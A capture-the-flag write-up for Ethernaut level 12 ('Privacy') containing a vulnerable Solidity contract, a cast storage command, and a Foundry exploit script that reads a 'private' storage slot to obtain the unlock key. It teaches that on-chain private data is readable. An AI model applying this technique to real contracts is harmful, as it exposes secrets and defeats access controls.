Privacy

title: Privacy weight: 13 type: docs prev: elevator next: gatekeeper-one

Level12 - ⭐⭐⭐


The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Tips:

  • Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true; // slot 0
  uint256 public ID = block.timestamp; // slot 1
  uint8 private flattening = 10; // slot 2
  uint8 private denomination = 255; // slot 2
  uint16 private awkwardness = uint16(block.timestamp); // slot 2
  bytes32[3] private data; // [slot3, slot4, slot5]

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

for more details on storage layout read this article:

bookmark

So, the _key is stored at slot 5 since it is data[2]:

  ~/repos/ethernaut (main) cast storage --rpc-url $SEPOLIA_RPC_URL $INSTANCE_12 5
0xe32410e9fbc1f17b0f1d9a6ed141317f11c4b2a5d38981dfa025aacf8b708d7d

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Privacy} from "../src/12.sol";


contract POC is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address addr = vm.envAddress("INSTANCE_12");

        vm.startBroadcast(deployerPrivateKey);

        Privacy privacy = Privacy(addr);
        console.log('isLocked : %s', privacy.locked());
				
				// vm.load() allows us to read arbitrary storage slot
        bytes16 key = bytes16(vm.load(address(privacy), bytes32(uint(5))));
        privacy.unlock(key);
        
        console.log('isLocked : %s', privacy.locked());

        vm.stopBroadcast();

    }
}

Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3’s getStorageAt(...) can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.

It can’t get much more complicated than what was exposed in this level. For more, check out this excellent article by “Darius”: How to read Ethereum contract storage

More info:

bookmark